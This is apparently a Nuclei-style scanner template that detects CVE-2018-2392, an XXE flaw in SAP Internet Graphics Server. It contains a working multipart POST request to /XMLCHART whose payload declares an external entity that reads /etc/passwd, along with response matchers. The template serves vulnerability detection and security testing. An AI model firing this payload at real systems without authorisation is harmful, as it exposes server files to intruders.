id: CVE-2018-2392

info:
  name: SAP Internet Graphics Server (IGS) XML External Entity
  author: _generic_human_
  severity: high
  tags: cve,cve2018,sap,igs,xxe,xmlchart
  description: |
    SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XXE vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.
  reference:
    - https://launchpad.support.sap.com/#/notes/2525222
    - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/
    - https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/
    - https://troopers.de/troopers18/agenda/3r38lr/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.50
    cve-id: CVE-2018-2392
    cwe-id: CWE-611

requests:
  - raw:
      - |
        POST /XMLCHART HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr_1}}

        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml"
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
            <ChartData>
              <Categories>
                <Category>ALttP</Category>
              </Categories>
              <Series label="{{randstr_4}}">
                <Point>
                  <Value type="y">12345</Value>
                </Point>
              </Series>
            </ChartData>
        --{{randstr_1}}
        Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml"
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
            <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
            <SAPChartCustomizing version="1.1">
              <Elements>
                <ChartElements>
                  <Title>
                    <Extension>&xxe;</Extension>
                  </Title>
                </ChartElements>
              </Elements>
            </SAPChartCustomizing>
        --{{randstr_1}}--

      # file name - /etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Picture"
          - "Info"
          - "/output/"
        part: body
        condition: and

      - type: word
        words:
          - "ImageMap"
          - "Errors"
        part: body
        condition: or

      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
          - "SAP Internet Graphics Server"
        part: header
        condition: and